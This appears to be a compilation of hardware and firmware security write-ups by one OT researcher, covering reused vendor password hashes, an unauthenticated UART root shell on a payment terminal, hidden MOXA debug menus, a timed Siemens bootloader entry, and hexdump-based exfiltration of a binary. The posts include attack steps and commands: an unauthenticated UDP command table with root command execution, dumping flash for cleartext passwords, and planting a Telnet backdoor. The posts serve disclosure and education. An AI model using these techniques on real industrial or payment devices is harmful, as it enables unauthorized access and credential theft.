Industrial remote access gateways are critical components in modern operational technology (OT) environments. These devices connect industrial control systems to cloud management platforms and often serve as the bridge between IT and OT networks.

During filesystem analysis of two industrial routers — the mb connectline MDH 849 and mbNET.mini — an unusual observation appeared in the authentication configuration files: identical password hashes across multiple devices.

What initially looked like a small anomaly during filesystem inspection eventually led to the coordinated disclosure, extending the scope of CVE-2024–45275 from one single product to multiple product families affected.

This article explains how a simple observation during firmware analysis uncovered a weak credential vulnerability in industrial routers and why authentication design decisions can have long-term consequences in industrial environments.

Table of Contents

1. Industrial Remote Access Devices and Their Role in OT Networks
2. Starting the Firmware and Filesystem Analysis
3. Inspecting Authentication Files in Industrial Routers
4. Identifying Identical Password Hashes Across Devices
5. Understanding the MD5-Crypt Hash Format
6. How the Credentials Were Discovered During Security Research
7. Why Shared Credentials Are Dangerous in Industrial Systems
8. Responsible Disclosure and CVE-2024–45275
9. Lessons for Industrial Cybersecurity
10. Conclusion: Security Implications for Industrial Routers

Industrial Remote Access Devices and Their Role in OT Networks

Before we dive into the analysis, let’s first understand how OT remote access devices are intended to be used:

The vendor provides a cloud portal that facilitates the management of devices and the creation of initial configuration files. Users generate these config files through the portal and then transfer them onto a USB pen drive. To set up a device, this USB drive is plugged into the device’s USB socket while it is powered off. Upon powering the device on, it reads the config file from the USB drive, which enables it to connect to the internet and register itself with the cloud portal.

Once registered, all device management tasks can be conducted remotely via the cloud portal. For local management, the device’s embedded web server can be accessed, providing an alternative means of configuration and monitoring directly at the device level.

Starting the Firmware and Filesystem Analysis

The research began with a standard firmware analysis. Many industrial devices run lightweight Linux distributions, which means their configuration and system services can often be inspected through the filesystem. During the analysis, several directories related to the web interface were identified:

These directories contained CGI scripts responsible for:

• device configuration
• system status
• service management
• remote control functions

Alongside these scripts were several .htpasswd files, which are commonly used by web servers to store authentication credentials.

A simplified structure looked like this:

These .htpasswd files control which users are allowed to access different parts of the device’s web interface.

Inspecting the Authentication Entries

Looking at the .htpasswd files revealed several predefined accounts. Two of them appeared consistently on the MDH 849 and mbNET.mini :

• MBCL
• remote

These were clearly vendor-defined system accounts, not user-created accounts. Service accounts are common in embedded devices, so their presence alone was not surprising. However, the password hashes associated with them raised an interesting question. To avoid exposing real authentication material, the examples below are sanitized placeholders, but they illustrate the key observation.

Two details stood out immediately. First, the accounts MBCL and remote appeared on both devices. Second, their password hashes were identical across systems. This suggested that the credentials were not generated individually per device, but rather embedded as part of the platform.

Understanding the Hash Format

The hash prefix $1$ indicates the MD5-crypt hashing algorithm. MD5-crypt was historically used in many Linux systems, but today it is considered outdated compared to modern password hashing mechanisms.

Another interesting detail appeared in the structure of the hashes: $1$$

The empty field indicates that no salt value was used. Salts are normally random values added to password hashes to ensure that identical passwords produce different hashes across systems. Without a salt, identical passwords produce identical hashes everywhere they are used. This makes credential reuse much easier to detect.

Seeing the same hashes across devices strongly suggested that the credentials were static vendor-defined accounts reused across systems.

How the Credentials Were Discovered

The credentials themselves were not visible through normal device operation. They were discovered during firmware analysis after gaining access to the system environment. During the research process, different vulnerabilities allowed deeper inspection of the device internals.

• mbNET-mini device exposed a root shell through upd confnetdevice services (CVE-2024–45274)
• MDH849 allowed escaping a restricted Lua execution environment (CVE-2025–41688)

Once filesystem access was obtained, reviewing the web interface configuration revealed the credential reuse. Details of these vulnerabilities were handled separately as part of the coordinated disclosure.

Why Shared Credentials Matter

From a security perspective, shared credentials introduce several risks. If authentication values are reused across devices, the compromise of one system can potentially allow access to others. This becomes particularly concerning for devices that sit between IT and OT networks.

Even if the credentials are not directly exposed through a public interface, they may still become usable through other vulnerabilities. For this reason, modern secure design recommends:

• unique credentials per device
• strong password hashing algorithms
• the ability to disable vendor accounts

Industrial gateways and remote access routers are frequently deployed at the boundary between enterprise IT networks and operational technology environments. Because these devices manage remote connectivity and configuration, authentication weaknesses can introduce significant security risks.

If identical credentials or static passwords are reused across devices, an attacker who gains access to one system may be able to authenticate to other devices using the same credentials. This risk becomes particularly relevant for industrial routers and OT remote access gateways, which often operate as trusted infrastructure components.

Responsible Disclosure

After validating the findings across devices, the issue was reported through a coordinated disclosure process. The vulnerability was handled in cooperation with:

• the mb connectline security team
• CERT@VDE

The resulting advisory SIM-2024–04 documents several vulnerabilities identified during the research https://advisories.mbconnectline.com/pdf/SIM2024-04.pdf

This finding extended the scope of CVE-2024–45275 from one single product (mbNET.mini) to multiple product families affected.

Lessons Learned

This discovery highlights several important lessons about embedded and industrial security.

Small anomalies deserve attention

• The issue was discovered not through an exploit, but through a simple observation: identical password hashes across devices.
• Security research often begins with small details.

Legacy design decisions persist

• Industrial systems often remain deployed for 10–20 years or longer.
• Security mechanisms that were acceptable when the device was designed may no longer meet modern standards.

Gateways require strong authentication

• Devices that bridge IT and OT networks should be treated as critical infrastructure.
• Weak authentication at this boundary can expose entire operational environments.

Final Thoughts

The discovery of identical credentials across industrial routers highlights how small anomalies during firmware analysis can reveal larger security design issues.

In this case, identical password hashes across devices indicated that static vendor credentials had been embedded in the platform. While the credentials were not exposed during normal operation, vulnerabilities that allow filesystem access can make such authentication weaknesses exploitable.

For industrial environments, especially where remote access gateways bridge IT and OT networks, strong authentication and unique device credentials are essential security requirements.

Responsible disclosure and collaboration between researchers, vendors, and industry CERT teams help ensure that vulnerabilities like CVE-2024–45275 are documented and addressed.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments
• Creating ICS/OT deception hosts

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

FAQ

What is CVE-2024–45275?

CVE-2024–45275 describes a weak credential vulnerability in industrial remote access devices where identical password hashes were reused across multiple devices.

Why are shared credentials dangerous in industrial systems?

Shared credentials increase the risk that compromising one device could allow attackers to authenticate to other systems using the same credentials.

What devices were affected?

The vulnerability was observed in mb connectline MDH 849 and mbNET.mini industrial routers.

What follows isn’t just a hack story — it’s a reminder of how real-world security often fails in silence. The Worldline Yomani XR is a payment terminal trusted across Europe and quietly exposes a root shell. In this article we connect, observe, and uncover what happens when a single debug interface is left unprotected.

A while ago, I came across a meticulous piece of hardware research on the Worldline Yomani XR — a payment terminal commonly seen across Europe.
The original researcher had already done the hard part: dissecting the device, mapping its components, understanding its tamper detection, and even performing a chip-off analysis of the onboard flash memory.

Read the original research here.

Their conclusion was striking: an unprotected root shell, accessible directly from the device’s service port. No opening of the case. No triggering of tamper sensors. No special equipment.

I decided to reproduce and extend that finding.

Normal Operation

The merchant connects the terminal to their payment service provider and to the cash register, which orchestrates the transaction flow. A customer then presents their card — swipe, insert or tap — enters a PIN or confirms the amount (and optionally a tip), and the terminal communicates with the payment network to authorize and complete the sale.

Setting the Scene

Our goal was simple: validate whether the reported root shell was reproducible, understand which processor domain it belonged to, and evaluate the practical risk this poses in the field.

Before touching the soldering iron, we followed standard procedure. We verified voltage levels and ground, confirming the 3.3V TTL interface. With that established, we connected to the indicated pins and launched picocom at 115200 baud — the most common setting.

The boot log appeared instantly. A moment later, the familiar prompt:

Typing root dropped us directly into a root shell. No password. No challenge. No warning.

A Tale of Two Processors

Digging deeper into public documentation and teardown material revealed that the Yomani XR architecture actually includes two distinct processors:

• MP1 (Secure Processor):Handles cryptographic operations, payment data, keypad and display handling.
• MP2 (Application Processor): Manages peripheral and general-purpose functions.

The root shell we accessed belongs to the insecure domain (MP2). While it doesn’t directly process cardholder data, its privilege level and proximity to the secure domain mean it still represents a valuable entry point for attackers — especially if communication between both processors is insufficiently controlled.

Looking Beneath the Surface

With shell access established, our next step was to look for configuration and credential artifacts. We scanned the firmware partition for hard-coded secrets:

/ # strings /dev/mtd0 | grep -i "passw"

Among the results were two cleartext passwords, apparently used for technician and configuration access.

<attribute name="TechnicianZPassword" value="[REDACTED]" /> 
<attribute name="HwConfigPassword" value="[REDACTED]" />

We also explored the startup scripts, where two files stood out:

S14telnetDisable     
S16telnetDestroy

Both scripts actively remove or kill any Telnet daemon during boot — a commendable sign of hardening intent. Yet paradoxically, the firmware still contains all necessary binaries to restore Telnet functionality. This design decision suggests the developers anticipated such use but relied solely on software scripts to suppress it, not on deeper configuration controls.

Implanting a Simple Backdoor

For research continuity, we restored a Telnet instance right at the end of the kill command script to simplify data access, preferring this method over inserting bind or reverse shell commands.

Firmware Extraction

The terminal provides a USB interface, which we used to connect a standard flash drive.

From there, we created a mount directory and used dd if=/dev/mtd0 of=/mnt/usb/XR_mtd0.bin bs=2048to copy the full firmware image from the MTD block device.

A quick check in Binwalk confirmed that the extracted image was unencrypted:

With both live shell access and the full firmware image in hand, we now have a comprehensive access to the system’s inner workings — a combination that should never be possible from a production-grade payment device.

Barriers and Boundaries

Interestingly, our research hit a clear wall when we tried to explore the device’s user interface and keypad functions. Despite discovering technician passwords within the firmware, we found no hidden key combinations or service menus that would allow direct use of those credentials through the physical interface.

As it turns out, all display and keypad handling are probaly managed by the secure MP1 processor, entirely isolated from the domain we can access. That design at least ensures user input and payment workflows remain protected, even if the auxiliary domain is compromised.

Reflections on Risk

From a security standpoint, the issue is less about a single root shell and more about what its existence implies:

• Physical access alone is enough to gain privileged control.
• No tamper detection is triggered when connecting to the service port.
• No authentication is required for root-level access.
• Firmware is unencrypted and exposes sensitive information.

In the context of retail payment infrastructure, this combination is problematic. Devices like these are not locked in data centers , they sit on open counters, in kiosks, or in unattended terminals. Even a brief, unnoticed access could lead to firmware tampering, or lateral network movement.

For Operators and Integrators

• Limit physical access to payment terminals; apply tamper seals and enclosure locks.
• Isolate payment devices on dedicated VLANs, with strict network control.
• Reflash second-hand or refurbished terminals before redeployment.
• Disable service ports at hardware level .

Physical access remains one of the most underestimated threats.

Especially in retail or public environments, assuming that no one will connect to a port is not a control, it’s wishful thinking.

This case demonstrates how security may fail quietly if one debug interface is left in operation. Other than that, the developers clearly intended to harden the device, disabling Telnet, separating processors, and embedding (physical) tamper detection.

For researchers, it’s an opportunity to study real-world trade-offs between usability and security in embedded systems. For vendors and operators, it’s a reminder that debug ports are not harmless leftovers; they are sometimes fully capable pathways into the system.

And as long as such ports remain accessible, it’s not a matter of if someone will find them, but when.

Responsible Disclosure and Vendor Response

After publishing the initial version of this research, Worldline contacted me to discuss the findings. The conversation was constructive and professional, and I appreciate the open dialogue and the opportunity to exchange perspectives on embedded system security and hardware research methodologies.

Responsible disclosure and collaboration between researchers and vendors remain essential for improving the security of widely deployed systems.

It was particularly refreshing to speak with a security professional who share a similar hacker mindset and passion for understanding how systems actually work.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments
• Creating ICS/OT deception hosts

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

Hidden functions, undocumented menus, and secret jumpers — sometimes the real story of a device begins after you open it. In this article, we take apart multiple MOXA NPort devices to uncover what lies beneath its clean industrial design. What starts as a simple logic probe leads us to a bootloader console, an invisible debug menu, and insights into how manufacturers reuse internal architectures across entire product lines.

Device Overview and Normal Operation

Before we begin, let’s understand the device from an end user’s perspective. Typically, users interact with the device over the network via Telnet and a web server. While they can configure the device through these interfaces, accessing the underlying operating system is usually restricted.

Operators connect serial field devices (motors, pumps, sensors) to the NPort and bridge those streams over Ethernet or Wi-Fi to an application server. The gateway preserves the serial protocol while enabling remote management and integration into modern systems.

Hardware reconnaissance at a glance

Opening the enclosure reveals two pin groups: a two-pin header labeled JP1 and a four-pin header group labeled JP2.

Following electrical reconnaissance best practices, we first identify a common ground pin for each group. After powering the device we measure voltages:

Voltage readings:

JP1: Pin 1 = 1.67V, Pin 2 = GND

JP2: Pin 1 = 3.35V, Pin 2 = 0V, Pin 3 = 3.34V, Pin 4 = GND

With the voltages in the 3.3V TTL range, we attach a logic analyzer to the relevant pins to observe signal activity. They carry a serial data stream that the logic analyzers async UART analyzer plugin can decode. The ASCII interpretation of the captured UART frames shows the device boot log — in short, a bootloader speaking over UART.

JP1 voltage profile suggest a jumper or mode-selection pad.

UART access and the boot console

We connect a USB‑UART adapter (configured at 115200 baud) to the pins on JP2 and open a serial console in Kali Linux:

picocom /dev/ttyUSB0 -b 115200

On power-up we see the boot log: it reveals embedded-system details and ends with a prompt to press Enter to activate the console. Pressing Enter drops us into a root shell:

From there we inspect the filesystem and discover that some default credentials in plaintext. Notably, these credentials diverged from the documented default credentials of “admin:moxa” or “moxa:moxa,” indicating a potential oversight in the device’s security protocols.

I reached out to the Moxa Product Security and Incident Response Team for responsible disclosure. However, their response merely stated: “It is believed that these vulnerabilities had been resolved in later firmware version long time ago”.

The hidden debug menu and JP1 jumper

(...)
RedBoot(tm) bootstrap and debug environment [ROMRAM]
Non-certified release, version FSL 200952 - built 10:15:25, Mar  7 2014

Linux version 2.6.31 (root@localhost.localdomain) (gcc version 4.4.1 (Sourcery G++ Lite 2010q1-202) ) #6 PREEMPT Wed Aug 22 15:21:06 CST 2012
(...)
Creating 8 MTD partitions on "mxc_nor_flash.0":

0x000000000000-0x000000080000 : "nor.bootloader"
0x000000080000-0x000000580000 : "nor.kernel"
0x000000580000-0x000001180000 : "nor.rootfs"
0x000001180000-0x000001980000 : "nor.userfs"
0x000001980000-0x000001a80000 : "nor.log"
0x000001a80000-0x000001b20000 : "nor.config"
0x000001b20000-0x000001fc0000 : "nor.reserved"
0x000001fc0000-0x000002000000 : "nor.redbootConfig"
(...)

The boot log contains partition layout information and confirms the presence of RedBoot, but it contains no obvious way to enter the RedBoot CLI from the normal UART console. Returning to the PCB, we inspect JP1 more closely. The label and pin spacing strongly suggest a jumper or bridging option.

Placing a jumper across JP1 and rebooting produces a different behavior on the serial console: a hidden debug menu appears.

This menu provides several hardware test options and includes an option to jump to RedBoot (entering command 98). Selecting that option drops us into the RedBoot command-line interface.

RedBoot: enumerating useful commands (what we tested)

Once at the RedBoot prompt we list available commands with help. Several commands are useful for inspection — however, each carries risk and demands caution.

• fconfig: read and modify configuration settings stored in nonvolatile memory.
• fconfig -l: lists all stored settings. We note alias and name entries in particular because these can be developer shortcuts or useful identifiers.paint

• fis list — shows the flash image system layout and attributes for each partition. This confirms the memory partitioning we observed in the boot log.
• dump — read volatile memory regions via RedBoot (address + length). RedBoot’s dump can display memory in different formats:
• -1 — byte-wise with ASCII interpretation
• -2 — 16‑bit words (no ASCII)
• -4 — 32‑bit words (no ASCII)

We used dump to inspect small memory regions (for example, the start of a filesystem region) but note that RedBoot does not provide direct general-purpose raw flash access for mounted partitions. Commands such as fis delete exist and can remove flash images, so we avoid destructive commands.

Extending the analysis — the Moxa NPort5110

Encouraged by this finding, we examine another MOXA product, the NPort5110, to see whether similar design traits appear across the product line. On its printed circuit board, three header groups are visible: JP1, JP2, and JP3. JP1 and JP2 are two-pin jumpers, while JP3 has three pins, the fourth is physically clipped off. Voltage probing shows the same 3.3V TTL logic level as with the W2150A, indicating a similar electrical design.

When bridging JP1, we again enter a hidden maintenance interface. However, this menu is far more limited. It provides only basic hardware diagnostics, simple memory checks, and a firmware upload option. There is no path to a command shell, and no bootloader CLI. It seems to exist purely for factory testing and provisioning. Interestingly, the menu allows the modification of certain metadata fields, such as the device serial number.

This reduced functionality nevertheless tells us a lot about the manufacturer’s embedded design. The shared jumper layout, the identical voltage levels, and the presence of nearly identical maintenance code strongly suggest a unified internal architecture across MOXA’s product line. The decision to reuse the same electrical design for serviceability brings manufacturing efficiency — but it also carries forward the same potential exposure across multiple models.

Patterns and implications

The fact that both devices share a similar hardware structure reveals a systematic approach to recovery and provisioning. From a production standpoint, this makes sense. Engineers need a consistent way to flash firmware, validate memory, and recover from boot failures. However, from a field security perspective, the same consistency becomes a liability. Once a single entry point is understood, that knowledge scales across an entire product family.

We also observe how these debug interfaces contain unpolished engineering details — spelling errors, leftover test commands, and unchanged metadata from early development phases. Such fingerprints often indicate that the menu was never intended for public visibility. It serves as a practical reminder of how much embedded design work happens behind the scenes and how those legacy mechanisms persist long after deployment.

Lessons learned

Hardware backdoors and recovery modes are not inherently bad. They are a necessity in embedded manufacturing. But once a product leaves the factory and enters operational service, those same interfaces should be physically or logically sealed. The field environment is not a controlled lab. It’s a place where devices can be stolen, repurposed, or even resold without proper sanitization.

Through this analysis, we confirm that the debug interface design of the MOXA NPort series is not an isolated quirk but a recurring architectural choice. Bridging JP1 on the W2150A or the 5110 opens maintenance menus that were never meant for end-user access. While the latter model limits its functions to basic diagnostics, the overall design demonstrates how convenience can silently conflict with security.

We learn that small physical interfaces may have large consequences, that bootloader artifacts deserve the same level of protection as any network-exposed service, and that embedded manufacturers should assume their internal shortcuts will eventually be discovered and analyzed.

From a defensive perspective, the message is clear: inspect the devices you trust, protect the interfaces you overlook, and never assume that “hidden” means “secure.”

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

Renowned for their robustness and widespread adoption, Siemens Simatic Automation Controllers form the backbone of numerous production infrastructures worldwide. They orchestrate the operations of various field devices and processes in real time, ensuring seamless functionality and efficiency. In this article we recreate CVE-2019–13945, a discovery by researchers at Ruhr University Bochum: a half-second window after power-on where the S7–1200 listens for a secret knock (MFGT1) and immediately drops into a primitive bootloader. That bootloader isn’t a feature — it’s a forgotten factory debug door that lets you dump firmware, run code, and poke the CPU.

The Research behind CVE-2019–13945

The paper reads like a comprehensive hardware and firmware forensics project: the researchers do far more than fuzz a network port or dump a firmware image. They disassemble and document the board at component level, decapsulate packages, and even use X-ray imaging to map out hidden components.

That level of hardware reconnaissance is rare and it immediately signals that something non-trivial is waiting in the silicon or the code.

Visit the researchers GitHub (incl. source codes) here

Their reverse engineering yields an unexpected result: an undocumented, primitive bootloader mode accessible only in a very narrow timeframe after power-on. In the S7–1200 the researchers identify the bootloader entry at address 0x0368. The device listens for a magic sequence — the five-byte string MFGT1 — within roughly the first 0.5 seconds of powering up. If that string arrives in time, the CPU drops into the bootloader. The researchers conjecture the mnemonic behind the string is an English/German pun: “MFG” commonly abbreviates mit freundlichen Grüßen in German correspondence; in effect the device is waiting for an approbation before revealing debug functionality.

The bootloader

The discovered bootloader is primitive — likely intended as a factory or debug aid rather than a production feature — but it exposes powerful primitives. The Ruhr team reverse engineers the bootloader code, documents its behavior, and pushes it far enough to achieve remote code execution and firmware dumping in their lab. In demonstrations they even run small games on the PLC and extract firmware images that were previously protected. The findings show how forgotten or undocumented debugging hooks can become strong attack vectors when combined with careful hardware timing and protocol knowledge.

For me, the work is particularly compelling because I already have long experience with Siemens SIMATIC hardware. Finding an undocumented, time-bound bootloader felt like discovering a hidden door in a house we thought we knew well.

The research is unusually well documented: the authors publish the scripts and tooling they used on GitHub, with clear indications of the timing logic and the serial/UART sequences.

Because the scripts are available and the attack only requires modest hardware, this becomes an experiment we can reasonably recreate in our lab to validate and extend the findings.

At a high level, the attack flow we extract from the paper and their repository is straightforward to describe, even if the execution is timing-sensitive:

• Power the PLC from a controllable supply that can be switched precisely and remotely.
• Immediately upon power-on, within the ~0.5 s window, send the magic string (MFGT1) to the device’s bootloader listener.
• If the bootloader is entered, use the serial/UART interface the bootloader exposes to execute bootloader commands, upload payloads, or read memory/firmware.
• Use the bootloader command set to dump firmware or to run arbitrary code where the bootloader permits.

Two aspects make the attack non-trivial:

(1) the extremely narrow timing window that requires precise coordination between power-cycling and packet/serial transmission, and

(2) the need to talk the bootloader’s expected protocol over the right physical interface. The researchers’ scripts automate both parts — they coordinate the power switch, open the serial interface at the right time, and inject the expected sequence.

Reading the scripts gives us both the attack choreography and the exact electrical/serial parameters the bootloader expects.

From the practical side, reproducing this in our lab requires only a few items — none of them exotic, but all necessary:

• A USB→UART adapter capable of 3.3 V/TTL levels to attach to the board’s serial pins (we already had one).
• An Ethernet-controllable power socket or similar remotely switchable power supply that the supplied scripts can trigger with millisecond precision (the researchers used an Ethernet-enabled PDU to time the power-on).

One practical hurdle we run into straight away: the particular Ethernet power socket used in the original paper has been discontinued, so we end up sourcing an equivalent second-hand device on the market. That is a small but necessary scavenger hunt — timing and automation are the parts to get right.

Sourcing the power socket

We find the same Ethernet-controllable power outlet on the second-hand market and verify it responds to the same on/off packets described in the repository.

This gives us the ability to drive power with networked commands (the researchers’ scripts target that exact API), which is essential because human reflexes are far too slow for a ~0.5 s window.

Serial communication with start.sh

The researchers provide a small helper script (start.sh) that configures the USB↔UART adapter and exposes the serial device on a TCP port. Rather than manually opening picocom or minicom and trying to synchronize with power-cycling, we run their approach and let downstream tools connect to a TCP port. Practically this is implemented with socat.

This maps the serial line to TCP port 1238. With this in place, any client that understands plain TCP can send bytes to the PLC just as if it were speaking over UART.

Automating power and injection with Client.sh

The second script (Client.sh) orchestrates the timing.

Its basic flow is:

• Disable power to the PLC (ensure a clean power-off).
• Start sending the magic string MFGT1 repeatedly toward the serial/TCP endpoint before the next power-on.
• After the configured delay, send the power-on packet to the Ethernet-controlled socket.
• Continue sending/monitoring while listening for the bootloader’s reply.

Because the bootloader only listens in the first ~0.5 s, the script loops the MFGT1 greeting continuously before and during power-up so that the magic sequence arrives within that narrow window.

Exploring function codes and improving output

The researchers provided a function-code list and a basic set of command sequences. Initially the scripts print key values (firmware version, device ID).

We extend that behaviour: adapting the client to request and print the bootloader version as well as the firmware version. That required reading the function list, converting the right opcodes into hex sequences the bootloader expects, and injecting those sequences at the right point after bootloader entry.

Creating an interactive function-code shell

To explore further we convert the scripted exchanges into a small interactive loop: we send arbitrary function codes and display the hex replies.

What we learn

• The socat-based TCP proxy removes a lot of friction and lets us script, inspect, and replay serial exchanges easily.
• Precise timing of the power-on command is the single most sensitive element — getting the right power-on latency and sending rate for MFGT1 is what makes the bootloader appear reliably.
• The bootloader’s command set is entirely hex/byte-oriented; meaningful interpretation requires either the researchers’ parsing code or our own reverse-engineering of fields.
• Small practical additions (printing the bootloader version, an interactive function-code loop) accelerate exploration and let us discover new commands beyond the demo cases.

Overall, reproducing the attack is a rewarding mix of hardware scavenging, scripting, and byte-level protocol experimentation.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.

Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:

• Offensive testing of industrial field devices and networks
• Exploitation of embedded OT/IIoT hardware
• Assessment and protection of industrial environments

LEVEL UP WITH FOXGRID NOW!

🔥 As a Medium reader, you get 30% off Marcel’s training — and join Marcel directly inside the labs.

👉 Click here to start your industrial hands-on journey

⌨️ This article is AI-enhanced.

Industrial embedded devices can be a real challenge for penetration testers and security researchers. They often run with extreme limitations:

• No wget, curl, or ftp to transfer files off the device.
• Read-only filesystems that prevent dropping in custom tools.
• Missing utilities like xxd or base64 that we usually rely on for binary dumps.

At first glance, this looks like a dead end. Without standard file transfer methods, how can you even begin analyzing binaries on the device?

In this article, I show how I exfiltrated a binary from the target industrial remote access device without any of the usual file transfer tools.

⚡Take a moment and follow me on LinkedIn: https://www.linkedin.com/in/marcelrickcen/

This is the second part of my security analysis of this industrial remote access device. In Part 1 I explain how I discovered CVE-2025–41688, a Lua sandbox escape that gave me reverse shell access.

Device Overview and Normal Operation

Before diving in, let’s understand how this device is designed to be used. MbNET devices can be configured locally using the mbDIALUP client. This client includes the Configure/Scan function, which sends a UDP discovery packet to a specific port to locate all mbNET devices on the local subnet.

When I captured this discovery traffic in Wireshark, the payload revealed a function code that trigged the response as shown above in the mbDIALUP client.

This immediately caught my attention, as it hinted at the kinds of commands the device’s internal service might accept. Out of curiosity, I tried to reproduce the exchange myself. Using netcat, I sent the same function code to the device. To my surprise, the device responded. Incrementing the function numbers led to different replies, which made me suspect that the device’s UDP port was handling a wider range of hidden functions.

Confnet Caught My Attention

That’s when I began digging into this UDP service more deeply. My trail eventually led me to Confnet. In a previously published proof-of-concept script of a vulnerability (CVE-2024–45274) related to the service, the available function codes were reverse engineered and listed:

    COMMANDS = {
        "get_hw": "0101",
        "get_type": "0102",
        "get_serial": "0103",
        "get_net": "0104",
        "get_fw": "0105",
        "get_combi": "01f0",
        "set_net": "1004",
        "reboot": "2001",
        "cmd_no_output": "2002",
        "reboot2": "2101",
        "cmd": "2102"
    }

The vulnerability disclosure described that the Confnet service is responsible for handling configuration on the device. It listens on 25353/udp and accepts various commands without any authentication.

Function code 0x2102 stood out in particular, as it would execute OS commands with the highest system privileges.

I downloaded and adapted that PoC to my own mbNET MDH849 device. Sure enough, I was able to enumerate the functions and confirm their behavior. However, on my device the OS command execution wasn’t functional. What was working, though, was the reboot function: by sending 0x2101, I could remotely restart the device at will.

This set the stage for the next step: analyzing the Confnet binary and its UDP command handling, even on a device with no file transfer utilities and a read-only filesystem.

My Initial Foothold: CVE-2025–41688

At this point, I already had reverse shell access to the device. This was possible because I previously discovered another vulnerability: a Lua sandbox escape that allowed me to break out of restricted scripting and execute arbitrary system commands.

• CVE-2025–41688: A Lua sandbox escape in the mbNET MDH 849 allows me to spawn a reverse shell with root-level privileges.

This gave me interactive access to the device — but no way to transfer files out.

The Workaround: Hexdump as Exfiltration

The key realization: you don’t actually need transfer utilities — you just need to transform the binary into text and copy it manually.

The tool that made this possible was hexdump. While most people use it for debugging or quickly checking file contents, here it became my data exfiltration tool.

Here’s the exact command I used:

hexdump -v -e '1/1 "%02x"' /path/to/confnet > /tmp/confnet.hex

Let’s break this down step by step:

• hexdump: the program to display binary files in a human-readable way.
• -v: tells hexdump to not skip repeating lines (we need the full dump).
• -e '1/1 "%02x"': this is the magic. It tells hexdump to process 1 byte at a time (1/1) and print it as a two-digit hexadecimal number (%02x).
• /path/to/confnet: the binary we want to exfiltrate.
• > /tmp/confnet.hex: store the output in a temporary file.

Instead of producing a nicely formatted hexdump with addresses and ASCII, this creates a continuous stream of hex characters — a perfect representation of the binary in plain text.

Manual Exfiltration

Since the device had no way to send me the file directly, I had to cat the file to the terminal and copy it manually:

cat /tmp/confnet.hex

Then I copied the huge block of hex data into my local workstation and saved it as confnet.hex.

To reconstruct the binary on my workstation, I used:

xxd -r -p confnet.hex confnet
chmod +x confnet

• xxd -r -p: reverses the hex dump back into binary form.
• chmod +x: restores executable permissions.

And just like that, I had a working copy of the binary outside the device.

Analysis in Ghidra

Once I had the binary, I loaded it into Ghidra. Immediately, I noticed some system-level calls, like explicit system("reboot") functions.

That raised the question: does Confnet provide a generic OS command execution interface, or just specific built-in functions?

After digging deeper, the binary showed a direct references to the system command reboot — but I didn’t find evidence of arbitrary OS command execution through this service. In other words: Confnet exposes powerful functions, but not a raw “system shell” over UDP as in the mbNET.mini.

In theory, if this binary were modified or if the system call system() handler were extended, the same vulnerability pattern could be recreated. But on my MDH849, I confirmed that only specific hardcoded functions like reboot were present.

Conclusion

Industrial embedded devices are tough environments for security testing. They’re stripped down, locked tight, and often missing the comfort tools penetration testers rely on.

But as this case shows, with some creativity, persistence, and a willingness to go “old school” (copy-paste hex by hand!), it’s still possible to extract binaries and analyze them.

This kind of creativity is essential in embedded security research. Attackers won’t give up just because a device doesn’t include the utilities we’re used to in IT environments.

By combining:

• Initial access via CVE-2025–41688 (Lua sandbox escape → reverse shell),
• Binary exfiltration using hexdump trickery, and
• Post-exploitation analysis in Ghidra,

I was able to assess whether CVE-2024–45274 exposed arbitrary OS command execution in mbNET MDH849.

That’s what real-world OT research often looks like — less like Metasploit fireworks, more like patiently teasing out information byte by byte.

About the Author

Marcel Rick-Cen is the founder and lead instructor at FOXGRID Industrial, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.

